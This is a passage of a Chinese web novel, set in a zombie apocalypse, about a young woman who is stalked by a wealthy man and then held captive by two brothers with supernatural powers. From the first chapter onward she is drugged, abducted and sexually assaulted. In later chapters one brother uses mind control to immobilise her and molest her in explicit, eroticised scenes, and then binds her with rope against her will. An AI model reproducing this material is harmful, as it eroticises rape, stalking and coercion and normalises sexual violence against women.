《末世玩物生存指南[强取豪夺]》 1. 第 1 章 五月的绵港市,明明还没到初夏,异常的高温却已经来临,整座城市像一口密不透风的蒸笼。 警署里空调坏了,吊扇吱呀吱呀地转,扇得满屋子都是热烘烘的潮气,半点凉风也无。 桌上摊着好几份未结案的卷宗,值班警员们叼着烟,烟头明灭间映出几人眼底的青黑。 连熬了三个大夜,好不容易收到上面指示,能压就压,多做多错,众人终于松懈下来,气氛自然变得懒洋洋的。 一片祥和中,警署大门忽然被撞开,闷热的寂静被打破。 一个年轻女孩冲了进来。 她穿着最简单的白色T恤和牛仔裤,额前的碎发被汗水浸湿,贴在苍白的脸颊上。她跑得太急,胸口剧烈起伏。 那双眼睛很大,此刻盛满了惊惶。 “警官先生!帮帮我,有变态……有变态一直在监视我。” 坐得最近的警员抬眼扫了她一下,又垂下眼皮,懒懒吸了口烟。 监视?这种事还用得着跑这里? 经历过人口失踪、连环杀人、暴力袭警甚至人吃人的案子后,这点小事他们已经波澜不惊了。 他慢悠悠抽完最后一口烟,椅子转过去,例行公事地问:“身份证带了吗?对方叫什么名字?什么时候的事?” 阮卿卿慌慌张张去翻包里的身份证,递过去,把这几个月的事一五一十地说出来。 “白逸?是那个白先生?”有人打断。 “是、是的。” 警员们互相对视,眼底是不约而同的戏谑,而后笑出了声。 “这位小姐,这怎么可能呢?白先生那样的身份,您是不是……嗯,记错人了?” “不会有错!我看到了,就是他,你们可以现在去他璟宸湾的房子查,A区12栋,满墙都是我的照片,里面还有……” 后面的话阮卿卿噎了一下,实在羞于说出口,她只来得及匆匆一瞥,根本不知道那些照片白逸是怎么拍得的。 可正是因为连那样的照片都拍到了,角度刁钻得可怕,她才更觉毛骨悚然。 她感觉自己无所遁形,已经在他面前一.丝.不.挂了。 “白逸,他、他是个疯子!警官先生们,求你们帮帮我!” “真是热闹。” 她正说着,一道声音忽然从门口响起,音色低醇而谦和,带着从容的质感,显然是拥有良好教养的绅士。 可这声音落在阮卿卿耳中,却像一盆冰水从头浇到脚,无端发寒。 “各位警官,有什么需要我帮忙的?”男人语气极好地发问。 警员们看到来人,齐刷刷站了起来,脸上纷纷换上恭维的笑。 刚才问话的警官主动上前,陪着笑脸,压低声音解释:“白先生,一个有臆想症的疯女人在胡言乱语,您怎么亲自过来了?” 白逸笑着,视线落在远处背对着他微微颤抖的人身上,仅仅几秒,又不着痕迹地移开。 “这次来陆国参加经贸峰会,邓署长提供了周密的安保保障,我和他是老朋友了,该过来打个招呼。” 听到他和这里的人认识,阮卿卿手脚瞬间冰凉。 她知道,她没有继续解释的必要了。 攥紧发白的指节,阮卿卿垂着头一言不发,转身就离开警署。 “这位小姐。” 擦肩而过时却被叫住,男人嗓音一贯的慢条斯理:“你看起来对我很有敌意,我们认识吗?” 他笑容很浅,语气温和,又带着一丝真诚的困惑。 如果不是阮卿卿多次看到对面落地窗后那抹高大身影,今早一鼓作气冲过去,又亲眼看到了那些照片,她恐怕都要怀疑自己是不是真的记错了。 这个男人,太能装了。 “你……” 阮卿卿喉咙发紧,张了张嘴。 那一瞬间,她差点没忍住指责他的怒声,质问他为 什么要这么做。 可她生生咽回去了。 这里的人和他是一伙的,闹起来吃亏的只会是她自己。 轻轻吸了口气,她挤出一个僵硬的笑:“没事,先生,是我认错人了。” “哦?是吗,你看起来状态不太好。”白逸淡淡开口,“我让司机送你吧。” 阮卿卿脸色唰地一下白了。 送她回家?他是想把她送到哪去? “不用!”她语速极快地拒绝,差点破了音。 说完,她头也不回,几乎逃也似地离开了这里。 回去后,阮卿卿连夜收拾行李,退租,一气呵成,准备第二天就回南安老家。 订了六点最早一班回南安的票,付完款,她看着手机屏幕上“订票成功”的字样,长长地舒了口气。 惹不起,难道她还躲不起? 收拾完行李,她又检查了一遍门窗,把能抵上的东西都抵在了门后。做完这一切,她才筋疲力尽地倒在床上,裹着被子缩成一团。 睡一觉,明天就离开这里。 然而阮卿卿没想到的是,就是多留的这一晚,她再也没能回得去。 夜幕落下,半梦半醒间,鼻尖忽然嗅到一股奇异的香气。 听到耳边突然出现的脚步声,她的意识猛然清醒了一瞬。 可头脑仍旧昏沉,四肢乏力,想醒来却怎样都睁不开眼,就像是陷入了梦魇,只能眼睁睁看着自己的身体被移动到一个地方,不久后又转移到另一个地方。 不知过了多久,旅途似乎结束了,一双冰冷的手靠近,身体随之落入一个宽大冷冽的怀抱,一阵窸窣,她的衣服被尽数剥落。 冰凉的空气接触到皮肤,意识到什么,大脑疯狂报警,可迷药的作用仍在持续,身体动弹不得,意识却愈加清醒。 耳边一道熟悉又令她恐惧的声音乍响,带着轻笑。 “行李都收好了,这是要去哪?” 2. 第 2 章 是白逸! 他的嗓音带着低低的笑意,温热的呼吸扫过她耳廓,让她浑身战栗。 “你们陆国的警员,的确是不太尊重人,不过别担心,很快……他们的惩罚会降临。” 他的声音慢悠悠的,像是在和她闲话家常,可那只手却罪恶地游走,滚烫的指尖像是一把燃烧的火焰,碰到哪里,哪里就像被点燃了一般。 她像一具没有灵魂的娃娃,任人摆布。 不……不要…… “阮卿卿,好好感受,做了不自量力的事,无论是谁……都该接受惩罚。” 眼皮越来越沉重,身体的触感却格外清晰。 阮卿卿想逃离,想尖叫,可无力的身体只能被迫承受,不受控制。 不知过了多久,身体陷入温热的水流,她似乎被抱到了浴室,清洗过后,一件冰凉沉重的裙子裹挟住她的身体。 “明天就举行婚礼,乖一点,只有我能护得住你。” 唇上又不舍地纠缠了一番,那人终于放过了他,阮卿卿疲惫地放纵思绪,再度陷入了沉睡。 不知睡了多久,她猛地睁开了眼,下意识检查自己,身上穿着一件厚重华丽的婚纱,抹胸上镶嵌的钻石闪耀得刺眼。 昨晚的记忆涌上,她咬着唇爬起,拖着酸痛的身体下床,冲出卧室,门竟然没锁。 整栋房子安安静静,白逸不在,只有她一个人。 阮卿卿眉头紧蹙,环顾四周,这是一栋完全陌生的别墅,装修华丽,窗户都加了防护网,门锁也全部是指纹锁。 看来白逸是铁了心要把她锁在这里。 一阵无力感涌上心头,她沿着楼梯往下走,每个房间都找了个遍,没有找到任何通讯装置。 她的手机不在身边,行李也不知道被白逸扔哪了。 肚子发出了饥饿的预警,饥肠辘辘的感觉不太好受,阮卿卿来到一楼,在厨房冰箱里随便找了些东西饱腹,这才来得及思考,白逸去哪了? 外面天色大亮,太阳已经升得很高,倏尔传来一声沉闷的巨响,而后是噼啪哗啦的碎裂飞溅声,像是什么东西爆炸了。 阮卿卿循着声音来到一处窗边,窗帘是半自动的,她伸手轻轻一拉,厚重的落地帘便徐徐向两侧铺开。 那仿若人间炼狱的画面也一点点展露眼前。 看清外面的一幕,阮卿卿僵住了。 浓烟滚滚的不远处,街道两旁店铺被砸得稀烂,玻璃碎了一地,几辆汽车也满身伤痕停在路边,一辆车的车前甚至还燃着火。 最诡异的是,几个人浑身是血躺在马路中间,一动不动,旁边一些浑身脏污的人正趴在他们身上,脑袋一点一点的,像是在……啃食。 阮卿卿大脑一片空白,这仿佛拍电影的一幕,却没有任何摄影机架设一旁。 她转过身,找到电视遥控器,按下开关,电视屏幕亮起。 大部分频道都是雪花点,少数几个正常播出的频道也频繁跳闪。 就着支离破碎的播报残影,少女终于了解到外面发生了什么。 丧尸横行,动植物异变,真正意义上的末日降临了。 其实前几个月也有一些征兆,比如无缘无故人间蒸发的同事,家门口经常出现荷枪实弹的武警车辆…… 只不过那会儿她疲于应付白逸,与他周旋已经让她精疲力尽,更无暇关注周围发生了什么。 好不容易掌握了证据报警,谁知那些警员早已和他沆瀣一气。 所以……白逸不在,他是丢下她跑了?还是变成丧尸了?还是被丧尸分食了? 嘴角泄出一丝笑容,无论是哪一种可能,阮卿卿心情都不自觉的舒畅。 老天有眼,白逸终于死了,她解脱了。 她在别墅里转了一圈,这栋别墅很大,甚至三楼还有一个室内游泳池。 可在发现整栋房子里剩余的食物不够她一周消耗时,阮卿卿笑不出来了。 这栋房子的安全系数无疑很高,外面的丧尸进不来,没找到任何工具的她也出不去,出不去就弄不到食物,里面的食物迟早会吃光。 这是一座精心打造的牢笼。 阮卿卿开始在玻璃上张贴SOS的求助字样,试着向窗外呼救,想尽办法希望有人能发现她。 但一堵墙之隔,内外早已是两个世界。这片高档别墅区,曾经富人聚居的地方,现在死的死,逃的逃,剩下的……都变成了在街上游荡的行尸走肉。 她不仅没得到任何回应,后面几天,水电信号也一个一个断了。 困在别墅里的第六天,清点最后剩余的食物时,阮卿卿终于感到绝望。 她会被活活饿死在这里。 不知是不是被困久了,身体越 来越不舒服,头昏脑涨,连带着胸口也开始隐隐发胀,像堵着一团浸了水的棉絮。 第二天开罐头时,不小心弄伤了手指,鲜红一道血痕,她连忙含进口里止血,谁知再取出看时,伤口已经没了。 阮卿卿心口砰砰直跳,一番测试,她终于确定,自己觉醒了异能,而且还是两个。 一个是治愈,一个是身体变形。 只是这两个异能实在难以启齿……治愈异能只能用唾液治愈,只要不是太大的伤口,她的口水竟都有神奇的治疗作用。 至于身体变形,阮卿卿目前只能将自己变形成她能触摸到的东西,持续时间也不长。 好在天无绝人之路,她抓住了一只从窗户缝隙飞进来的小虫子,变身成一模一样的虫子,奋力扑扇着翅膀飞了出去。 终于逃出生天,来到外面,当务之急是赶紧离开这个丧尸聚集的地方,在这里逗留的时间越长就越容易发生变数。 她迅速找到之前在二楼窗户盯了很久的一辆敞着车门的小轿车,飞过去,迅速发车启动。 变回人形的瞬间,一阵强烈的眩晕感袭来,变形异能对体力的消耗比她想象得还大,可她顾不上休息,发动机嗡响一声,车子顺利起步。 路边的景象惨不忍睹,翻倒的汽车,散落的杂物,漫无目的游荡的丧尸……整个城市像被洗劫过一样,一片狼藉。 路过一处指示路牌,看到京州的字样,阮卿卿一时心累又绝望,白逸那个疯子,居然把她绑到这么远的地方…… 好在她已经有了车,认准了方向,阮卿卿快速驾驶着朝南开去。 她专门选了加油站较多的国道,这样一路上既有补给,车速又能飙到最快,不用担心丧尸意外袭击。 她的异能没有任何攻击性,自保能力也很弱,她不敢贸然去人口密集的市区,只敢在路边小店随便拿点食物果腹。 但当她开车到达最近的加油站时,才发现自己还是太天真了。 末日降临,包括汽油等任何有限的资源都被占为己有。 远远地,阮卿卿看见加油站四周已经被各种废铁杂物和石块围了起来,一旁出口也停着一辆熄了火的黑色越野。 她身单力薄,没敢靠近,调转车头正准备离开,大脑神经似被电了一下,身体像是僵住了般,瞬间不能动了。 她被操控了! 3. 第 3 章 这是……精神控制? 阮卿卿暗叹一声大意,竟然会有这种不要脸的精神系异能。 油门在她毫无知觉的情况下被松开了,小轿车速度一点点慢了下来,撞上一处路障后,缓缓停靠路边。 她身体被操控不能动,跟随前倾的惯性,额头结结实实撞在了方向盘上,脑袋嗡一声,顿时眼冒金星起来。 可她却连揉一下都做不到,余光的视野里,两个男人从加油站走出,径直向她这边来。 阮卿卿头皮一紧,好在车子上了锁,他们进不来。 心里的庆幸却没能持续多久,两人还没到车前,耳边便传来“咔哒”一声,像是什么解了锁,下一秒,副驾车门自动弹开。 眼见这一幕,她心口一点一点下沉,这又是什么异能? 很快,阮卿卿被毫不费力地从驾驶座上拎起,带到加油站里一张简易的桌子前,她的精神依旧是被操控的状态,不能动也不能说话。 迟泽目光幽深打量面前穿着婚纱的女人,婚纱下摆短了一截,拖沓冗长的部分明显被剪裁过。 可是都末世了,还会有人穿着婚纱在外行动?哦不,都末世了,竟然会有女人孑然一身,四处闲逛? 该说她胆大,还是蠢呢? 一旁面容与迟泽至少有七分相像的迟旭围着阮卿卿转了个圈:“姐姐,穿着婚纱,是准备嫁给我吗?” 说着,他手指要去碰少女肩上一缕散落的发,却被叫住。 “迟旭。” “切。”迟旭悻悻然放下了手。 打火机咔嚓一声,制止他的人漫不经心从口袋拿出一根烟,寥寥烟雾夹在指尖,迟泽声音冷沉:“说吧,哪边派你来的?想打探些什么?” 捕捉到她眼底的情绪,迟泽看向迟旭:“让她说话。” 后者散漫哼了声,下一秒,阮卿卿上身的桎梏瞬间消失,但下身依旧僵硬不能动。 她连忙急声道:“我只是路过,放我走,我对你们没有威胁。” 迟旭噗嗤一声笑出来:“有没有威胁不是你说了算的。” “什么?”阮卿卿心中一凛。 “现在这世道,一个女人,独自开车在路上……还毫发无伤,衣着干净,你觉得这正常吗?” 阮卿卿愣了愣,这才发觉,她开车这一路上,遇到了不少丧尸,却没见过几个活人,更别说活着的女人了。 偶尔远远看到步履正常的,也都是男人,而且都是三五成群的,没一个是像她这样单独行动的。 “我之前一直被困在一个地方,今天才逃出来。”阮卿卿声音发干,有些艰涩道:“为什么外面没有女人?” 她眼底是清澈的、不加掩饰的疑惑,问出这个问题。 气氛诡异地静默了几秒。 迟旭挑了挑眉,唇角勾起一抹玩味的笑,他往前走了一步,微微俯下身,凑近她的脸。 “末世辐射加剧,变异病毒肆虐,你知道在这片废土中,最珍贵的资源是什么吗?” 不等她回答,迟旭就慢悠悠吐出两个字:“女人。” “尤其是——”他目光在她脸上逡巡一圈,带着恶劣的审视,“像你这样,长得好看,又细皮嫩肉的,看起来就很好吃。” 阮卿卿从头到脚的血液瞬间凉透,脸色惨白起来。 “迟旭,别吓她了。” 一直沉默的男人眼皮一掀,忽然开口。 迟旭直起身,仍旧笑嘻嘻的:“姐姐,你这理由也太烂了,穿着婚纱逃出来?没有任何说服力。” “总之,你的身份很可疑,我们现在要严格看管你……不想沦为食物的话,最好乖一点。” 阮卿卿错愕的同时,也略微松了口气。 这两人虽长相相似,气质却截然不同,一个清冷疏离,一个轻浮散漫,看衣着打扮和外面那辆越野的配置,都不像是会缺食物的人。 这人是在故意吓她。 只要不成为食物,那目前就是安全的。 但……她手指紧了紧,这两人明显不是善茬,尤其是这个迟旭,还是尽早找机会离开。 注意到她眼底警惕的神色,迟泽不着痕迹地轻笑一声。 末世秩序崩坏,灾难撕开了男女基因与生俱来的差距,人性的恶也被无限放大,烧杀抢掠,无恶不作……像他们这样的,已经算得上好人了。 她大概没听说过京州迟家,不过这也正常,普通人即便穷极一生,也接触不到那个层级。 以他们兄弟这样的身份,又不是那些穷途末路的亡命徒,还不屑于对一个女人做什么。 目光不再在她身上停留,迟泽掐灭了烟,转身:“这个片区再过一遍,明天动身离开。” 迟旭嗤了声,不情不愿地将视线从她身上移开。 夜幕很快降临。 末世来临后,昼夜时长发生了变化,白天比以往更短,夜晚则更加漫长。 约莫才下午六点多,天就已经黑透了。 迟旭的精神系异能在感知到她没有太大的情绪波动和攻击性后,逐渐放松了管控,阮卿卿下半身的禁锢也解开了,她可以在加油站的范围内自由走动,只是那股萦绕在周围若有若无的精神力监视始终存在。 阮卿卿很识时务地没有乱跑。 她找了个角落的位置,尽量降低自己的存在感。 不知过了多久,加油站大门被推开。 迟泽走了进来,身上带着夜晚的凉气和一点淡淡的血腥味,手里拎着几个袋子,看样子是刚从外面搜刮回来的。 目光扫过角落,注意到她,迟泽皱了皱眉,将一包衣服扔过去。 “婚纱太累赘了,换上便装吧。” 阮卿卿默默接过,一路仓促,没来得及换下婚纱,现在倒显得不伦不类。 她也不愿意再穿白逸这身象征束缚的桎梏,于是找了间堆满杂物的隔间,仔细挑选起迟泽给的衣服。 自从觉醒异能,胸口总是鼓胀不已,似乎二次发育了,比以前大了一圈。 迟泽是个细心的人,知道给女人拿内衣,但他应该是在内衣区随手抓了几款,根本没看尺码,拿的都是初中生刚发育时穿的文胸。 她拆了几件,试着穿,后面却怎么也扣不上。 不得已,阮卿卿只好先找件宽松 的T恤换上,内衣等之后有机会再说。 换好衣服,走出房间,她借着收银台的镜子照了照,额头已经肿起一个包,磕到方向盘的地方还在隐隐作痛。 想了想,她伸出手指,沾了点口水到额头上。 果然,抹上去的瞬间,那点红肿肉眼可见地褪去,最后一丝痕迹也没有了。 阮卿卿心下窃喜,然而还没来得及高兴太久,就听一道声音从门口传来。 “姐姐,你在做什么?” 她身体一僵,转过头,是迟旭。 他靠在门框上,双手环胸,正饶有兴致地盯视她。 阮卿卿干巴巴解释:“这是我的异能。” 听到异能,迟泽稍感意外,挑了下眉:“你的异能是什么?” “治愈。” 阮卿卿没有说另一个异能是变形,她总要给自己留张底牌。 “哦?怎么治愈?” 男人眼底是毫不掩饰的兴味和探究,目光掠过她光滑如初的额头。 “……用我的唾液。” 她声音很小,带着一丝羞耻,但迟旭还是听清了。 他眸色黑亮,抬步过去,露出不怀好意的笑:“哥,你今天不是被丧尸挠了,正好试试,看她的异能是真是假。” 阮卿卿这才注意到,迟泽不知什么时候也跟过来了。 他站在不远处的阴影里,没有答话,瞳色如墨透着疏离,不动声色地看向她。 “那我先替你试试好了。” 迟旭抬腿靠近,笑嘻嘻地说着,完全没把自己当外人。 !!! 阮卿卿连忙后退一步,想躲开,但下一个动作还没完成,大脑又被夺去了控制权,身体顿时僵立原地。 这个混蛋! 不能说话,她心里把迟旭祖宗十八代都骂了个遍。 “姐姐,别这么紧张嘛。”迟旭长指捏住她下巴,硬是将她扭向自己,“既然我们是一个团队的,就要知己知彼。” 谁和你是一个团队的! 阮卿卿气得眼眶都红了,可身体动不了,话也说不出,只能用眼神表达此刻的怒火。 迟旭懒洋洋勾着唇,松开她下巴,转而用指腹,沿着她唇瓣慢慢摩挲。 带着薄茧的粗糙触感从唇上传来,阮卿卿身体顿时一僵。 却只能眼睁睁看着他的手指为非作歹,揉弄着她的唇,指尖似不经意探了进去,一番碾动,沾染上舌尖的津液。 而后他收回手,将那根沾了她口水的指头,抹在自己胳膊一处伤疤上。 那道伤疤不大,颜色却有些深,丑陋地盘踞在小麦色的皮肤上。 抹上没过一会儿,疤痕就神奇地变淡了。 阮卿卿瞧了眼,那疤痕估计有一点年头了,所以治愈效果才没那么好,没法彻底抹除。 虽然没有完全消失,但比起之前狰狞的样子,已经好了很多。 谁知迟旭仍不满意,失望地撇了撇嘴:“只是变淡呀……” 不知想到什么,他眉梢微动,灼灼的视线扫过来,薄唇上扬。 “外用不行,如果是内服呢?” 4. 第 4 章 内服……?! 阮卿卿心里顿时警铃大作。 可身体还被精神力死死控制着,动也动不了,只能眼睁睁看着迟旭那张放大的脸,一点一点凑近。 他的脸很好看,不知是不是一边戴了耳钉的原因,比迟泽多了几分邪肆的侵略感和玩世不恭。 可现在这张脸在阮卿卿眼里,和变态没什么区别。 她瞳孔剧烈颤动,眼看着变态将嘴唇贴上她的唇,温热的气息洒在她脸上,舌尖沿着唇缝探了进去,牙关被轻而易举撬开,轻轻舔舐,一点点试探。 她却连眼睛都没法闭上,只剩心脏还在自己的掌控范围内,跟随呼吸剧烈狂跳。 像是逐渐掌握到了要领,迟旭熟能生巧的舌头更加深入地探了进来,勾着她的舌尖,纠缠着,掠夺她的津液。 这就是治愈异能吗? 吞食入喉的瞬间,迟旭只感觉周身似乎都更加灼热了些,就连臂膀上的伤疤也在隐隐发烫,像是在重新愈合生长。 尝到了甜头,他舌头卷住她舌根狠狠一吮,亲吻得愈加放肆,喉结上下滚动着,毫不客气地悉数吞进腹中。 不知道过了多久,也许是几分钟,也许是一个世纪那么漫长,迟旭终于放开了她。 他后退一步,直起身体,舌尖意犹未尽舔了舔自己唇角,像是在回味什么。 对上少女惶然巨颤的目光,嘴唇被吃得红肿,迟旭却丝毫不觉有什么,甚至还混不吝地勾了勾唇。 不就接个吻,怎么一副被欺负惨的样子? 看他的目光何止是惊惶,简直要杀了他也不为过。 想到什么,迟旭面子忽然有些挂不住,唇角的弧度压平,暗自嗤了声。 他吻技有这么差吗? 啧,也不看看她,穿得跟个男人似的,仔细瞧,也就皮肤白了点,眼睛大了点,嘴唇软了点,谁稀得亲似的。 要不是为了测试治愈异能,这里又只有他和哥两个人,他才懒得亲自下场。 哼……审美也土得可以,迟泽带回来的衣服那么多,怎么就偏偏挑了件最丑的,瞧瞧这肥大的T恤,领口都能塞得下两个她。 心底腹诽着,迟旭视线随意地往下扫,似是注意到什么,他眸光忽然一顿,顷刻间变了神色。 宛如丛林中嗅到猎物气息的猛兽,周身隐在阴冷的暗处蛰伏,唯有眸色骤然变得幽暗。 “姐姐,你那里怎么湿了?”迟旭指着她胸口,声音哑了下去。 阮卿卿一愣,跟着垂眸看去,而后懵住了。 那里有两小圈淡淡的湿痕,颜色比周围的布料要深一些,在昏黄灯光下映出令人想入非非的明暗反差。 之前穿着憋闷的婚纱抹胸,她只觉得胸口汗津津的,胀痛难受,像是有什么东西要涌出来。 还以为是天气太热出的汗,没有察觉那到底是什么。 换成T恤后短短一会儿,那里竟竟竟然又…… 汗水会分泌得这么快吗? 可她明明没有生育过,甚至都还没结婚,怎么会有那个? 难道是异能的副作用? 阮卿卿一时羞愤欲绝,说话的限制被放开,她急声开口:“转、转过去,不准看!” 婚纱抹胸厚重,就算渗孚乚了也不会透出来,但T恤这种纯棉材质遇到水就会变色,现在看起来格外明显。 同时意识到什么,迟旭脸上露出一抹促狭,意味不明道:“既然唾液可以治疗,那其他亻本液呢?姐姐的泪水、汗水……包括那里。” “我来替姐姐试验一下好了。” 阮卿卿心里咯噔一下,头皮瞬间发麻,迟旭却已经靠近。 “你要做什么?不行!你这个混蛋——” 男人当然充耳不闻,眼里一门心思,只有眼前触手可及的风景。 既然已经被她讨厌,那就坏人做到底好了。 这么想着,他微微俯下身,目光落在她月匈口,那里的湿痕又明显了几分,甚至能看到 布料下微微起.伏的轮.廓。 已经极近的距离,他一把掀开T恤,白嫩处顿时暴露在空气中,淡淡的香味扑面而来,带着清甜的奶香气息,惹人犯罪。 迟旭喉结滚动了下,不自觉地凑近,将嘴唇贴上去,下意识吮吸起来。 “不、不行……啊——!” 身上的桎梏不知什么时候被解开,阮卿卿瞬间瞪圆了眼,控制双手想要推开他,迟旭却突然坏心眼地咬了一下湿漉漉的那里。 “啊!!” 她没忍住,颤着声音惊呼出声。 嘴唇上还残留着陌生的触感,酥酥麻麻的,似有电流窜过。 可现在,这种感觉换了个地方,甚至比唇上更过分,带着阵阵难而寸的刺痛。 阮卿卿咬着唇,奋力挣扎着推开他,身体因为羞愤而微微颤抖,抬起胳膊就要扇过去—— 可手臂还没落下,身体一僵,又再次不能动了。 少女呼吸一窒,随即发现双手竟自己放了下来,背在了身后,像是罚站般。 又是可恶的精神控制! 这个混蛋! 阮卿卿没有意识到的是,这个动作反而把月匈前曲线衬得更加明显,湿痕的轮.廓也更清晰了。 看着眼前的景色,迟旭眸色又深了几分。 那股甜香的气息好像变得更浓,像一张无形的网,把他整个人都笼罩其中。 身体的掌控权被夺走,阮卿卿再也发不出任何声音,长睫颤抖着,汗毛直竖,眼睁睁看着面前人又将薄唇贴了上来,她却无力阻止任何。 仿若凌迟的感觉却还没完,男人的手不知什么时候附了上去,掌心微凉,自下而上托着,五指猝不及防地收拢。 喉结跟着动了动,有蜿蜒的水流漫过嘴角,在味蕾上绽开,又被他吞食殆尽。 迟旭抬起头,唇上还沾着亮晶晶的奶白水渍,转身看向立在不远处沉默的人。 “哥,真的有治疗作用,你也试试。” 5. 第 5 章 阮卿卿心头一悚,就看迟泽缓缓起身,迈着长腿,步履沉稳,一步一步优雅朝她走来。 她瑟缩了下,脸色霎时白了几分。 他也要像迟旭那样吗? 不要…… 可无论心底如何呐喊,依旧挡不住男人径直走到她面前,站定,投下的阴影将她笼罩住,一只手慢条斯理解着上衣扣子,另一只手向她探来。 她心脏几乎停跳,下意识想闭眼,对上旁边迟旭恶劣的笑容,才知道连闭眼都是奢求。 于是视线徒劳地移到别处,不忍再看,眼眶却不自觉泛红,浮上水雾,睫毛剧烈颤动,煎熬等待酷刑降临。 下一秒,唇边却倏尔一凉,男人微凉的骨指修长,只是碰了碰她的唇,借着唇边晶亮的水液浸湿指尖,而后收回了手。 阮卿卿错愕看过去,迟泽解开扣子露出的胸膛上,宽阔的肩颈线条利落,而在他左肩处,赫然是一道深深的血痕,虽然血止住了,看起来却依旧醒目。 是刚才出去时,被丧尸抓伤的。 ……误会他了,还以为他要学迟旭做那种事情。 他将沾了唾液的指抹在了那道血痕上,不过几秒,那血痕渐渐结了一层淡粉色的新痂。 看来是量不够,只能初初达到这样的恢复效果。 一旁迟旭看着这一幕,薄唇微勾,冷不丁露出一抹玩味的笑。 阮卿卿一颗心顿时提起,好在迟泽看了眼伤口的情况,神情淡淡,对这个效果似乎并不意外,也没有索取更多。 “迟旭,别太过分了。” 扔下这句不咸不淡的话,他不再停留,转身离开。 “啧,我哥还是这样,毫无情趣。” 迟旭似乎早已对迟泽的反应了然,环臂立在原地,黑亮的眸底尽是讥诮的兴味。 直到男人的身影消失在入口,他才回身,兴致勃勃的视线重新落在羊入虎口的人身上。 领悟到少女眼底羞愤交加的神色,迟旭眉梢轻挑,颇为大度地打了个响指,解除了开口说话的限制。 果然,放开的瞬间,立马被指着鼻子劈头盖脸地骂。 “混蛋!变态!&@#%……放开我!” 只是那声音娇娇软软的,又带着没消下去的哭腔,尾音发颤,毫无威慑力。 反倒让人……更想*了。 迟旭忽然想到末世前,家里佣人偷偷收养的那只刚生下来就被丢弃的小奶猫。 明明自己就那么小一点,毛都没长齐,偏偏炸了毛,对着他做出一副凶神恶煞的模样,嘶嘶地哈气,以为那样就能吓走他。 不过是自欺欺人。 这小玩意对自己的认知十分不清晰,蠢得要命,好在性格活泼,总是张牙舞爪的,他觉得挺有意思,就那么默许着留了下来。 可惜……末世到来的第一天,就被一只刚刚感染的丧尸塞了牙缝。 想到这里,他黑眸沉了沉。 “会放开你的,但不是现在。” 说着,迟旭双手插兜,极给面子地后仰了下,像是真被她骂得招架不住。 而后步子一转,随手拎过 来一把椅子,长腿一跨,反坐在椅背后,单手撑着下颌,黑亮的眸子兴致昂扬地看着她。 阮卿卿被看得发毛,果然,大脑某处似被电流轻轻刺了一下,下一秒,…………………… 这次直接坐在了收银台台面上,而后双手不听使唤地…………………… 这个变态! 迟旭黑眸灼热地欣赏着眼前的美景:猫儿一样的水灵双眸,红润的嘴唇,纤细的月要肢,以及…… 他眸色一暗,轻叹:“我哥不来……真是他的损失。” 不顾少女杀人般的眼神,迟旭从椅子上起身,慢悠悠走过来,靠近收银台,微微伏下身。 他眸底是毫不掩饰的黑色…………,亮得吓人,一眨不瞬紧盯那里。 “别……不要……” 声音颤抖着,阮卿卿几乎毛骨悚然,俯视的视角像是惊悚片,眼睁睁看着他……………… “啊——!” 阮卿卿感觉自己快要疯了,四肢想做点什么缓解,却偏偏什么都做不了,……………… 整体看去,………… 男人双眸逐渐晦暗,从他的角度能清晰看见那逐渐殷红的唇正以某种频率张合着,仿佛喋喋不休的小嘴。 不知道里面是什么味道。 迟旭这么想也这么做了,……………… 少女便浑身扌斗颤,施舍出能愈合一切的甘露。 迟旭昂起头,食髓知味地舔了舔唇角,邪佞勾起唇。 “我怎么觉得……这里的治疗效果更好。” 6. 第 6 章 一辆军用越野疾驰在荒废的公路上,将偶尔游荡追逐的丧尸远远甩在后面。 车身低调的金属光泽完美融入了周围的荒草石块,即便是受到病毒感染而变异的飞鸟走兽,从高空俯瞰地面,不仔细寻觅也很难察觉其踪迹。 迟家兄弟配合无疑是默契的,迟泽负责驾驶,迟旭负责用精神力探查周围一公里的情况——包括后排的阮卿卿。 此时后座的人斜躺在靠枕上,却被一根粗绳绑了起来,绳子反剪双手又绕过全身。 少女紧蹙着眉,双颊红润,几缕汗湿的发紧贴在饱满白皙的额头上,似乎十分不适。 “乖一点,越挣扎,绳子越紧。” 迟旭懒洋洋的声音飘来,背在身后小动作不停的手听到声音,吓得一顿。 这是迟旭新学的绳缚手法,正愁没人实验,一大早就被他抓住某个偷车小贼逃跑未遂,正好用在她身上。 至于明明有精神异能的人,为什么偏偏要用绳子……也许只有迟旭自己清楚了。 “变态!放开我!” 少女喋喋不休地咒骂着,奋力扭动挣扎中,似是忽然勾到某处要害,倏尔哼了一声,小巧鼻尖又冒出一层细密的汗。 正在开车的迟泽瞥了眼后视镜中不堪摧折的人,微微蹙眉。 “迟旭,别闹了,她影响我开车。” 被规劝的恶种嗤了声,眼梢向上一翻。 以前从没见他哥对谁上心过,什么事都冷得像块冰,除了打理家族企业,对什么都提不起兴趣,向来一副事不关己的漠然态度。 自从这个女人出现,他却两次三番插手他的事。 昨晚本来差点得手,自己都石更得快爆炸了,谁知本来离开的人又忽然折返,叫他去整理劳什子物资。 迟泽是金属系,这种活儿需要他一个精神系的帮忙?! 他哥也真是够搞笑的。 到嘴边的鸭子跑了,只剩一嘴鸭毛,迟旭薄锐眼尾压出道冷弧,愈加不甘。 既然如此……目光落在后排人身上,他心底忽然萌生更坏的想法。 高大身躯绕过椅背来到后座,迟旭伸手摸了两下女人细嫩的脸蛋,又捏了捏,而后正大光明将人抱到自己腿上。 真正抱起来,他才知道她有多轻。 软软的,热热的,一小团。 周身被绑着不能动弹,忿忿瞪着他,尾音不稳问他要做什么。 和那只炸毛的猫一模一样。 迟旭忽地有些心猿意马,偏想看她更生气的模样。 于是他手指勾起一根绳子,当着她的面,轻轻一提—— 顿时又激起一阵战栗,她身体瞬间紧绷,柔软的唇微微张开,溢出的声音像是低低的猫叫。 绳结已经收到了最紧,怀里的人也到了极限,呼吸急促着睁开湿润的水眸,看着他露出了意识不清的祈求。 “别、别碰绳子,求你了……” 迟旭略一挑眉,仔细去打量,果然在那颤抖的睫羽下,捕获到一丝被极快掩去的愤恨。 啧,还是不知道乖。 “你可以的,宝贝。” 说着,他就要去动已经深陷最里的粗绳。 阮卿卿心头一颤,连忙惊慌摇头:“不要!” 迟旭勾起唇,正要说话,驾驶位上的迟泽突然低声:“迟旭,前面有情况。” 蜿蜒公路的不远处,一排拦路桩和石块赫然出现,堆叠在一起堵住了原本宽敞的道路。 几个高矮胖瘦不一的人站在路障旁,靠在一辆货车上,几个男人端着武器,明显来者不善。 迟泽在接近路桩时踩了刹车,车窗半降,淡薄的目光扫过去。 “有事?” 